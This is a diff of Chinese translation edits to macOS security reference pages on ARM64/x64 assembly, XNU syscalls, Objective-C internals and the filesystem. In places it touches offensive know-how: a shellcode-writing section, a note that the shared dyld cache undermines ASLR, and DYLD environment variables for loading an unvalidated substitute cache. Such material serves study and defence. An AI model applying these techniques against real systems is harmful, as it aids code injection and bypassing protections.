对于在每个用户的 launchd 上下文中 **运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\
|
||||
对于在每个用户 launchd 上下文中 **运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\
|
||||
对于守护进程、在系统 launchd 上下文中 **运行的其他进程** 和其他特权进程,ReportCrash 作为 LaunchDaemon 运行,并将崩溃报告保存在系统的 `/Library/Logs/DiagnosticReports` 中。
|
||||
|
||||
如果您担心崩溃报告 **被发送到 Apple**,可以禁用它们。如果不担心,崩溃报告可以帮助 **找出服务器崩溃的原因**。
|
||||
|
||||
@ -47,7 +47,7 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
|
||||
|
||||
### SIMD和浮点寄存器
|
||||
|
||||
此外,还有另外**32个128位长度的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点运算。这些称为Vn寄存器,尽管它们也可以在**64**位、**32**位、**16**位和**8**位中操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
|
||||
此外,还有另外**32个128位长度的寄存器**,可用于优化的单指令多数据(SIMD)操作和执行浮点算术。这些称为Vn寄存器,尽管它们也可以在**64**位、**32**位、**16**位和**8**位中操作,然后称为**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**和**`Bn`**。
|
||||
|
||||
### 系统寄存器
|
||||
|
||||
@ -74,7 +74,7 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
|
||||
- **`V`**表示操作产生了有符号溢出:
|
||||
- 两个正数的和产生负结果。
|
||||
- 两个负数的和产生正结果。
|
||||
- 在减法中,当从较小的正数中减去较大的负数(或反之),结果无法在给定位大小的范围内表示。
|
||||
- 在减法中,当从较小的正数中减去较大的负数(或反之),结果无法在给定位数范围内表示。
|
||||
- 显然,处理器不知道操作是否有符号,因此它将在操作中检查C和V,并在发生进位时指示是否为有符号或无符号。
|
||||
|
||||
> [!WARNING]
|
||||
@ -96,7 +96,7 @@ ARM64调用约定规定,**前八个参数**通过寄存器**`x0`到`x7`**传
|
||||
|
||||
### Swift中的调用约定
|
||||
|
||||
Swift有其自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
|
||||
Swift有自己的**调用约定**,可以在[**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)中找到。
|
||||
|
||||
## **常见指令 (ARM64v8)**
|
||||
|
||||
@ -108,16 +108,16 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
|
||||
- 示例:`ldr x0, [x1]` — 这将从`x1`指向的内存位置加载一个值到`x0`。
|
||||
- **偏移模式**:指示影响原始指针的偏移,例如:
|
||||
- `ldr x2, [x1, #8]`,这将加载`x1 + 8`中的值到`x2`。
|
||||
- `ldr x2, [x0, x1, lsl #2]`,这将从数组`x0`中加载一个对象,从位置`x1`(索引)\* 4。
|
||||
- `ldr x2, [x0, x1, lsl #2]`,这将从数组`x0`中加载一个对象,从位置`x1`(索引)\* 4到`x2`。
|
||||
- **预索引模式**:这将对原始值应用计算,获取结果并将新原始值存储在原始值中。
|
||||
- `ldr x2, [x1, #8]!`,这将加载`x1 + 8`到`x2`并将结果存储在`x1`中。
|
||||
- `str lr, [sp, #-4]!`,将链接寄存器存储在sp中并更新寄存器sp。
|
||||
- `str lr, [sp, #-4]!`,将链接寄存器存储在`sp`中并更新寄存器`sp`。
|
||||
- **后索引模式**:这类似于前一个,但内存地址被访问,然后计算并存储偏移。
|
||||
- `ldr x0, [x1], #8`,加载`x1`到`x0`并用`x1 + 8`更新`x1`。
|
||||
- **PC相对寻址**:在这种情况下,加载的地址是相对于PC寄存器计算的。
|
||||
- `ldr x1, =_start`,这将加载`_start`符号开始的地址到`x1`,与当前PC相关。
|
||||
- **`str`**:**存储**一个值从一个**寄存器**到**内存**。
|
||||
- 示例:`str x0, [x1]` — 这将值从`x0`存储到`x1`指向的内存位置。
|
||||
- 示例:`str x0, [x1]` — 这将值存储在`x0`到`x1`指向的内存位置。
|
||||
- **`ldp`**:**加载寄存器对**。此指令**从**连续的内存**位置加载两个寄存器。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
|
||||
- 示例:`ldp x0, x1, [x2]` — 这将从`x2`和`x2 + 8`的内存位置加载`x0`和`x1`。
|
||||
- **`stp`**:**存储寄存器对**。此指令**将两个寄存器存储到**连续的内存**位置。内存地址通常通过将偏移添加到另一个寄存器的值来形成。
|
||||
@ -140,23 +140,23 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
|
||||
- 示例:`mul x0, x1, x2` — 这将`x1`和`x2`中的值相乘并将结果存储在`x0`中。
|
||||
- **`div`**:**除以**一个寄存器的值并将结果存储在一个寄存器中。
|
||||
- 示例:`div x0, x1, x2` — 这将`x1`的值除以`x2`并将结果存储在`x0`中。
|
||||
- **`lsl`**、**`lsr`**、**`asr`**、**`ror`、`rrx`**:
|
||||
- **逻辑左移**:从末尾添加0,移动其他位向前(乘以n次2)。
|
||||
- **逻辑右移**:在开头添加1,移动其他位向后(无符号除以n次2)。
|
||||
- **`lsl`**、**`lsr`**、**`asr`**、**`ror`**、**`rrx`**:
|
||||
- **逻辑左移**:从末尾添加0,移动其他位(乘以n次2)。
|
||||
- **逻辑右移**:从开头添加1,移动其他位(无符号除以n次2)。
|
||||
- **算术右移**:类似于**`lsr`**,但如果最高有效位为1,则添加1(有符号除以n次2)。
|
||||
- **右旋转**:类似于**`lsr`**,但从右侧移除的位附加到左侧。
|
||||
- **带扩展的右旋转**:类似于**`ror`**,但将进位标志作为“最高有效位”。因此,进位标志移动到位31,移除的位移动到进位标志。
|
||||
- **`bfm`**:**位域移动**,这些操作**从一个值复制位`0...n`**并将其放置在**`m..m+n`**的位置。**`#s`**指定**最左边的位**位置,**`#r`**指定**右旋转量**。
|
||||
- **`bfm`**:**位域移动**,这些操作**从一个值中复制位`0...n`**并将其放置在**`m..m+n`**的位置。**`#s`**指定**最左边的位**位置,**`#r`**指定**右旋转量**。
|
||||
- 位域移动:`BFM Xd, Xn, #r`
|
||||
- 有符号位域移动:`SBFM Xd, Xn, #r, #s`
|
||||
- 无符号位域移动:`UBFM Xd, Xn, #r, #s`
|
||||
- **位域提取和插入**:从一个寄存器复制位域并将其复制到另一个寄存器。
|
||||
- **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1。
|
||||
- **`BFI X1, X2, #3, #4`** 从X1的第3位插入X2的4位。
|
||||
- **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取4位并复制到X1。
|
||||
- **`SBFIZ X1, X2, #3, #4`** 从X2的第3位开始提取4位并将其插入到X1,右侧位清零。
|
||||
- **`SBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位,进行符号扩展,并将结果放入X1。
|
||||
- **`UBFIZ X1, X2, #3, #4`** 从X2的第3位开始提取4位并将其插入到X1,右侧位清零。
|
||||
- **`UBFX X1, X2, #3, #4`** 从X2的第3位开始提取4位并将零扩展的结果放入X1。
|
||||
- **`SBFIZ X1, X2, #3, #4`** 从X2的4位进行符号扩展并插入到X1,从第3位开始,右侧位清零。
|
||||
- **`SBFX X1, X2, #3, #4`** 从X2的第3位提取4位,进行符号扩展,并将结果放入X1。
|
||||
- **`UBFIZ X1, X2, #3, #4`** 从X2的4位进行零扩展并插入到X1,从第3位开始,右侧位清零。
|
||||
- **`UBFX X1, X2, #3, #4`** 从X2的第3位提取4位,并将零扩展的结果放入X1。
|
||||
- **符号扩展到X**:扩展一个值的符号(或在无符号版本中仅添加0),以便能够与其执行操作:
|
||||
- **`SXTB X1, W2`** 将W2的字节符号扩展到X1(`W2`是`X2`的一半),以填充64位。
|
||||
- **`SXTH X1, W2`** 将W2的16位数的符号扩展到X1,以填充64位。
|
||||
@ -170,10 +170,10 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
|
||||
- **`cmn`**:**比较负**操作数。在这种情况下,它是**`adds`**的**别名**,并支持相同的语法。用于知道`m == -n`。
|
||||
- **`ccmp`**:条件比较,它是仅在先前比较为真时执行的比较,并将特定设置nzcv位。
|
||||
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4,则跳转到func。
|
||||
- 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将被设置为0(这不会满足`blt`比较)。
|
||||
- 这是因为**`ccmp`**仅在**先前的`cmp`为`NE`时执行**,如果不是,则位`nzcv`将设置为0(这不会满足`blt`比较)。
|
||||
- 这也可以用作`ccmn`(相同但为负,如`cmp`与`cmn`)。
|
||||
- **`tst`**:检查比较的值是否都为1(它的工作方式类似于不存储结果的AND)。用于检查寄存器与值的比较,并检查寄存器中指示的值的任何位是否为1。
|
||||
- 示例:`tst X1, #7` 检查X1的最后3位是否有1。
|
||||
- **`tst`**:检查比较的值是否都为1(它的工作方式类似于不存储结果的AND)。用于检查寄存器与值,并检查寄存器中指示的任何位是否为1。
|
||||
- 示例:`tst X1, #7` 检查X1的最后3位是否为1。
|
||||
- **`teq`**:XOR操作,丢弃结果。
|
||||
- **`b`**:无条件分支。
|
||||
- 示例:`b myFunction`。
|
||||
@ -181,10 +181,10 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
|
||||
- **`bl`**:**带链接的分支**,用于**调用**一个**子例程**。将**返回地址存储在`x30`**中。
|
||||
- 示例:`bl myFunction` — 这调用函数`myFunction`并将返回地址存储在`x30`中。
|
||||
- 请注意,这不会用返回地址填充链接寄存器(不适合需要返回的子例程调用)。
|
||||
- **`blr`**:**带链接到寄存器的分支**,用于**调用**一个**子例程**,目标在**寄存器**中**指定**。将返回地址存储在`x30`中。
|
||||
- 示例:`blr x1` — 这调用地址在`x1`中的函数,并将返回地址存储在`x30`中。
|
||||
- **`blr`**:**带链接的分支到寄存器**,用于**调用**一个**子例程**,目标在**寄存器**中**指定**。将返回地址存储在`x30`中。
|
||||
- 示例:`blr x1` — 这调用地址在`x1`中包含的函数,并将返回地址存储在`x30`中。
|
||||
- **`ret`**:**从子例程返回**,通常使用**`x30`**中的地址。
|
||||
- 示例:`ret` — 这将使用`x30`中的返回地址从当前子例程返回。
|
||||
- 示例:`ret` — 这使用`x30`中的返回地址从当前子例程返回。
|
||||
- **`b.<cond>`**:条件分支。
|
||||
- **`b.eq`**:**如果相等则分支**,基于先前的`cmp`指令。
|
||||
- 示例:`b.eq label` — 如果先前的`cmp`指令发现两个值相等,则跳转到`label`。
|
||||
@ -213,7 +213,7 @@ ARM64指令通常具有**格式`opcode dst, src1, src2`**,其中**`opcode`**
|
||||
- **`ldrsw`**:**加载**一个有符号的**32位**值从内存并**符号扩展到64**位。
|
||||
- 示例:`ldrsw x0, [x1]` — 这从`x1`指向的内存位置加载一个有符号的32位值,符号扩展到64位,并存储在`x0`中。
|
||||
- **`stur`**:**将寄存器值存储到内存位置**,使用来自另一个寄存器的偏移。
|
||||
- 示例:`stur x0, [x1, #4]` — 这将值从`x0`存储到比当前在`x1`中的地址大4字节的内存地址。
|
||||
- 示例:`stur x0, [x1, #4]` — 这将值存储在`x0`到比当前在`x1`中的地址大4字节的内存地址。
|
||||
- **`svc`**:进行**系统调用**。它代表“监督调用”。当处理器执行此指令时,它**从用户模式切换到内核模式**并跳转到内存中**内核的系统调用处理**代码所在的特定位置。
|
||||
|
||||
- 示例:
|
||||
@ -240,7 +240,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
|
||||
```armasm
|
||||
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
|
||||
```
|
||||
3. **Return**: `ret` (使用链接寄存器中的地址将控制权返回给调用者)
|
||||
3. **Return**: `ret`(使用链接寄存器中的地址将控制权返回给调用者)
|
||||
|
||||
## AARCH32 执行状态
|
||||
|
||||
@ -248,7 +248,7 @@ Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集**
|
||||
**特权** 64 位程序可以通过执行异常级别转移到较低特权的 32 位程序来调度 **32 位** 程序的 **执行**。\
|
||||
请注意,从 64 位到 32 位的过渡发生在异常级别降低时(例如,EL1 中的 64 位程序触发 EL0 中的程序)。这是通过在 `AArch32` 进程线程准备执行时将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位** 设置为 **1** 来完成的,其余的 `SPSR_ELx` 存储 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器过渡到 **`AArch32`**,根据 CPSR 进入 A32 或 T32。\*\*
|
||||
|
||||
**`interworking`** 通过 CPSR 的 J 和 T 位发生。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
|
||||
**`interworking`** 通过 CPSR 的 J 和 T 位发生。`J=0` 和 `T=0` 表示 **`A32`**,而 `J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
|
||||
这在 **interworking 分支指令** 中设置,但也可以在 PC 设置为目标寄存器时通过其他指令直接设置。示例:
|
||||
|
||||
另一个示例:
|
||||
@ -277,29 +277,29 @@ mov r0, #8
|
||||
|
||||
### CPSR - 当前程序状态寄存器
|
||||
|
||||
在AArch32中,CPSR的工作方式类似于AArch64中的**`PSTATE`**,并且在发生异常时也存储在**`SPSR_ELx`**中,以便稍后恢复执行:
|
||||
在AArch32中,CPSR的工作方式类似于**`PSTATE`**在AArch64中,并且在发生异常时也存储在**`SPSR_ELx`**中,以便稍后恢复执行:
|
||||
|
||||
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
字段分为几个组:
|
||||
|
||||
- 应用程序状态寄存器(APSR):算术标志,从EL0可访问
|
||||
- 应用程序状态寄存器(APSR):算术标志,并可从EL0访问
|
||||
- 执行状态寄存器:进程行为(由操作系统管理)。
|
||||
|
||||
#### 应用程序状态寄存器(APSR)
|
||||
|
||||
- **`N`**、**`Z`**、**`C`**、**`V`** 标志(与AArch64相同)
|
||||
- **`Q`** 标志:每当执行专用饱和算术指令时,**整数饱和**发生时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何指令隐式检查其值,必须手动读取。
|
||||
- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。
|
||||
- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,如“并行加”和“并行减”。这些操作允许在单个指令中处理多个数据点。
|
||||
|
||||
例如,**`UADD8`** 指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后**根据这些结果设置`GE`标志在`APSR`中**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
例如,**`UADD8`** 指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后**根据这些结果设置`APSR`中的`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
|
||||
**`SEL`** 指令使用这些GE标志执行条件操作。
|
||||
|
||||
#### 执行状态寄存器
|
||||
|
||||
- **`J`** 和 **`T`** 位:**`J`** 应为0,如果 **`T`** 为0,则使用指令集A32,如果为1,则使用T32。
|
||||
- **IT块状态寄存器**(`ITSTATE`):这些是10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。
|
||||
- **IT块状态寄存器**(`ITSTATE`):这些是从10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。
|
||||
- **`E`** 位:指示**字节序**。
|
||||
- **模式和异常掩码位**(0-4):它们确定当前执行状态。**第5位**指示程序以32位(1)或64位(0)运行。其他4位表示**当前使用的异常模式**(当发生异常并正在处理时)。设置的数字**指示当前优先级**,以防在处理此异常时触发另一个异常。
|
||||
|
||||
@ -342,9 +342,9 @@ XNU 支持另一种称为机器依赖的调用。这些调用的数量取决于
|
||||
|
||||
### objc_msgSend
|
||||
|
||||
在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用一个 Objective-C 对象的方法。
|
||||
在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用 Objective-C 对象的方法。
|
||||
|
||||
参数([更多信息在文档中](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
参数([文档中更多信息](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
|
||||
|
||||
- x0: self -> 指向实例的指针
|
||||
- x1: op -> 方法的选择器
|
||||
@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="使用 adr 的 Linux"}}
|
||||
{{#tab name="使用 adr for linux"}}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
|
||||
@ -43,15 +43,15 @@ x64 指令集丰富,保持与早期 x86 指令的兼容性,并引入了新
|
||||
- 示例:`pop rax` — 将堆栈顶部的值弹出到 `rax`。
|
||||
- **`add`** 和 **`sub`**:**加法**和 **减法** 操作。
|
||||
- 示例:`add rax, rcx` — 将 `rax` 和 `rcx` 中的值相加,并将结果存储在 `rax` 中。
|
||||
- **`mul`** 和 **`div`**:**乘法**和 **除法** 操作。注意:这些指令在操作数使用方面有特定行为。
|
||||
- **`mul`** 和 **`div`**:**乘法**和 **除法** 操作。注意:这些在操作数使用方面有特定行为。
|
||||
- **`call`** 和 **`ret`**:用于 **调用** 和 **从函数返回**。
|
||||
- **`int`**:用于触发软件 **中断**。例如,`int 0x80` 用于 32 位 x86 Linux 的系统调用。
|
||||
- **`cmp`**:**比较**两个值,并根据结果设置 CPU 的标志。
|
||||
- **`cmp`**:**比较**两个值并根据结果设置 CPU 的标志。
|
||||
- 示例:`cmp rax, rdx` — 比较 `rax` 和 `rdx`。
|
||||
- **`je`、`jne`、`jl`、`jge`、...**:**条件跳转**指令,根据先前的 `cmp` 或测试结果改变控制流。
|
||||
- 示例:在 `cmp rax, rdx` 指令之后,`je label` — 如果 `rax` 等于 `rdx`,则跳转到 `label`。
|
||||
- **`syscall`**:用于某些 x64 系统(如现代 Unix)中的 **系统调用**。
|
||||
- **`sysenter`**:某些平台上的优化 **系统调用** 指令。
|
||||
- **`syscall`**:在某些 x64 系统(如现代 Unix)中用于 **系统调用**。
|
||||
- **`sysenter`**:在某些平台上的优化 **系统调用** 指令。
|
||||
|
||||
### **Function Prologue**
|
||||
|
||||
@ -95,7 +95,7 @@ x64 指令集丰富,保持与早期 x86 指令的兼容性,并引入了新
|
||||
12 AUE_CHDIR ALL { int chdir(user_addr_t path); }
|
||||
[...]
|
||||
```
|
||||
为了从 **Unix/BSD 类** 调用 `open` 系统调用 (**5**),你需要添加它:`0x2000000`
|
||||
为了从 **Unix/BSD 类** 调用 `open` 系统调用 (**5**),您需要添加它:`0x2000000`
|
||||
|
||||
因此,调用 open 的系统调用编号将是 `0x2000005`
|
||||
|
||||
@ -188,7 +188,7 @@ syscall
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="with stack"}}
|
||||
{{#tab name="使用堆栈"}}
|
||||
```armasm
|
||||
bits 64
|
||||
global _main
|
||||
|
||||
@ -74,7 +74,7 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
|
||||
- **`__objc_nlclslist`** (`classref_t`): 指向此二进制文件中定义的非延迟 Objective-C 类的指针
|
||||
- **`__objc_classlist`** (`classref_t`): 指向此二进制文件中定义的所有 Objective-C 类的指针
|
||||
|
||||
它还使用 **`__TEXT`** 段中的一些部分来存储常量值,如果无法在此部分中写入:
|
||||
它还使用 **`__TEXT`** 段中的一些部分来存储常量值,如果无法在此部分写入:
|
||||
|
||||
- **`__objc_methname`** (C-String): 方法名称
|
||||
- **`__objc_classname`** (C-String): 类名称
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
- **/Library**: 可以在此找到许多与偏好设置、缓存和日志相关的子目录和文件。根目录和每个用户目录中都有一个 Library 文件夹。
|
||||
- **/private**: 未记录,但许多提到的文件夹是指向私有目录的符号链接。
|
||||
- **/sbin**: 重要的系统二进制文件(与管理相关)
|
||||
- **/System**: 使 OS X 运行的文件。您在这里主要会找到 Apple 特定的文件(而不是第三方)。
|
||||
- **/System**: 使 OS X 运行的文件。您在这里主要会找到仅与 Apple 相关的文件(而非第三方)。
|
||||
- **/tmp**: 文件在 3 天后被删除(这是指向 /private/tmp 的软链接)
|
||||
- **/Users**: 用户的主目录。
|
||||
- **/usr**: 配置和系统二进制文件
|
||||
@ -75,14 +75,14 @@ macos-bundles.md
|
||||
|
||||
## Dyld 共享库缓存 (SLC)
|
||||
|
||||
在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,**合并为一个单一文件**,称为 **dyld 共享缓存**。这提高了性能,因为代码可以更快地加载。
|
||||
在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,**合并为一个单一文件**,称为 **dyld 共享缓存**。这提高了性能,因为代码可以更快加载。
|
||||
|
||||
在 macOS 中,这位于 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`,在旧版本中,您可能会在 **`/System/Library/dyld/`** 中找到 **共享缓存**。\
|
||||
在 iOS 中,您可以在 **`/System/Library/Caches/com.apple.dyld/`** 中找到它们。
|
||||
|
||||
与 dyld 共享缓存类似,内核和内核扩展也被编译到内核缓存中,该缓存在启动时加载。
|
||||
与 dyld 共享缓存类似,内核和内核扩展也被编译到内核缓存中,在启动时加载。
|
||||
|
||||
为了从单个文件 dylib 共享缓存中提取库,可以使用二进制文件 [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip),虽然现在可能无法使用,但您也可以使用 [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
为了从单一文件 dylib 共享缓存中提取库,可以使用二进制文件 [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip),虽然现在可能无法使用,但您也可以使用 [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
```bash
|
||||
# dyld_shared_cache_util
|
||||
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
@ -100,13 +100,13 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
一些提取器可能无法工作,因为 dylibs 是与硬编码地址预链接的,因此它们可能会跳转到未知地址。
|
||||
|
||||
> [!TIP]
|
||||
> 还可以通过在 Xcode 中使用模拟器下载其他 \*OS 设备的共享库缓存。它们将下载到:ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`,例如:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`。
|
||||
> 还可以通过在 Xcode 中使用模拟器下载其他 \*OS 设备的共享库缓存。它们将下载到:ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`,例如:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
|
||||
|
||||
### 映射 SLC
|
||||
|
||||
**`dyld`** 使用系统调用 **`shared_region_check_np`** 来知道 SLC 是否已被映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。
|
||||
**`dyld`** 使用系统调用 **`shared_region_check_np`** 来知道 SLC 是否已映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。
|
||||
|
||||
请注意,即使 SLC 在第一次使用时被滑动,所有 **进程** 也使用 **相同的副本**,这 **消除了 ASLR** 保护,如果攻击者能够在系统中运行进程。这在过去实际上被利用过,并通过共享区域分页器修复。
|
||||
请注意,即使 SLC 在第一次使用时滑动,所有 **进程** 也使用 **相同的副本**,这 **消除了 ASLR** 保护,如果攻击者能够在系统中运行进程。这在过去实际上被利用过,并通过共享区域分页器修复。
|
||||
|
||||
分支池是小的 Mach-O dylibs,它在映像映射之间创建小空间,使得无法插入函数。
|
||||
|
||||
@ -114,8 +114,8 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
|
||||
使用环境变量:
|
||||
|
||||
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 这将允许加载新的共享库缓存。
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** 并手动用指向共享缓存的符号链接替换库与真实库(您需要提取它们)。
|
||||
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> 这将允许加载新的共享库缓存
|
||||
- **`DYLD_SHARED_CACHE_DIR=avoid`** 并手动用指向共享缓存的符号链接替换库(您需要提取它们)
|
||||
|
||||
## 特殊文件权限
|
||||
|
||||
@ -128,9 +128,9 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
文件中可以设置一些标志,使文件表现得不同。您可以使用 `ls -lO /path/directory` **检查目录中文件的标志**。
|
||||
|
||||
- **`uchg`**:被称为 **uchange** 标志将 **防止任何操作** 更改或删除 **文件**。要设置它,请执行:`chflags uchg file.txt`
|
||||
- 根用户可以 **删除标志** 并修改文件。
|
||||
- root 用户可以 **删除标志** 并修改文件
|
||||
- **`restricted`**:此标志使文件受到 **SIP 保护**(您无法将此标志添加到文件)。
|
||||
- **`Sticky bit`**:如果目录具有粘滞位,**只有** 该 **目录的所有者或根用户可以重命名或删除** 文件。通常,这在 /tmp 目录上设置,以防止普通用户删除或移动其他用户的文件。
|
||||
- **`Sticky bit`**:如果目录具有粘滞位,**只有** 该 **目录的所有者或 root 可以重命名或删除** 文件。通常,这在 /tmp 目录上设置,以防止普通用户删除或移动其他用户的文件。
|
||||
|
||||
所有标志可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),并且是:
|
||||
|
||||
@ -161,7 +161,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
||||
可以为 **目录** 授予这些权限:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\
|
||||
对于 **文件**:`read`、`write`、`append`、`execute`。
|
||||
|
||||
当文件包含 ACLs 时,您将在列出权限时 **找到一个 "+",如**:
|
||||
当文件包含 ACLs 时,您将 **在列出权限时找到一个 "+",如**:
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
||||
|
||||
扩展属性 `com.apple.decmpfs` 表示文件是加密存储的,`ls -l` 将报告 **大小为 0**,压缩数据存储在此属性中。每当访问该文件时,它将在内存中解密。
|
||||
|
||||
可以使用 `ls -lO` 查看此属性,标记为压缩,因为压缩文件也带有标志 `UF_COMPRESSED`。如果通过 `chflags nocompressed </path/to/file>` 删除压缩文件的此标志,系统将不知道该文件是压缩的,因此无法解压并访问数据(它会认为文件实际上是空的)。
|
||||
此属性可以通过 `ls -lO` 查看,标记为压缩,因为压缩文件也带有标志 `UF_COMPRESSED`。如果通过 `chflags nocompressed </path/to/file>` 删除压缩文件的此标志,系统将不知道该文件是压缩的,因此无法解压并访问数据(它会认为该文件实际上是空的)。
|
||||
|
||||
工具 afscexpand 可用于强制解压文件。
|
||||
|
||||
@ -227,15 +227,15 @@ Mac OS 二进制文件通常被编译为 **universal binaries**。一个 **unive
|
||||
universal-binaries-and-mach-o-format.md
|
||||
{{#endref}}
|
||||
|
||||
## macOS 进程内存
|
||||
## macOS Process Memory
|
||||
|
||||
## macOS 内存转储
|
||||
## macOS memory dumping
|
||||
|
||||
{{#ref}}
|
||||
macos-memory-dumping.md
|
||||
{{#endref}}
|
||||
|
||||
## 风险类别文件 Mac OS
|
||||
## Risk Category Files Mac OS
|
||||
|
||||
目录 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` 存储有关 **不同文件扩展名相关风险的信息**。该目录将文件分类为不同的风险级别,影响 Safari 下载这些文件时的处理方式。类别如下:
|
||||
|
||||
@ -244,9 +244,9 @@ macos-memory-dumping.md
|
||||
- **LSRiskCategoryUnsafeExecutable**:此类别下的文件 **触发警告**,指示该文件是一个应用程序。这是一个安全措施,用于提醒用户。
|
||||
- **LSRiskCategoryMayContainUnsafeExecutable**:此类别适用于可能包含可执行文件的文件,例如归档文件。除非 Safari 能验证所有内容是安全或中性的,否则将 **触发警告**。
|
||||
|
||||
## 日志文件
|
||||
## Log files
|
||||
|
||||
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关下载文件的信息,例如下载来源的 URL。
|
||||
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**:包含有关下载文件的信息,例如它们的下载 URL。
|
||||
